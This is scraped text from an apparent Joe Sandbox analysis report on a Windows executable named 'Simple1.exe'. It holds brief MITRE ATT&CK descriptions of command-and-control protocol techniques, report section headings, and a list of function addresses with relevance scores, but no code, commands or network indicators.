Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Simple1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
Simple1.exe

Function 00007FF7CEA95D80 Relevance: 74.2, APIs: 27, Strings: 15, Instructions: 687
COMMON

Function 00007FF7CEA95510 Relevance: 58.2, APIs: 16, Strings: 17, Instructions: 470
COMMON

Function 00007FF7CEA94A40 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 224
registryCOMMON

Function 00007FF7CEA94E50 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Function 00007FF7CEA94640 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 246
COMMON

Function 00007FF7CEA93780 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 194
COMMON

Function 00007FF7CEA93AA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 139
COMMON

Function 00007FF7CEA93560 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 106
COMMON

Function 00007FF7CEA91820 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 202
COMMON

Function 00007FF7CEA91520 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 173
COMMON

Function 00007FF7CEA989E0 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Function 00007FF7CEA94390 Relevance: 13.7, APIs: 9, Instructions: 164
COMMON

Function 00007FF7CEA99C10 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Function 00007FF7CEA999F0 Relevance: 13.6, APIs: 9, Instructions: 136
COMMON

Function 00007FF7CEA9B080 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON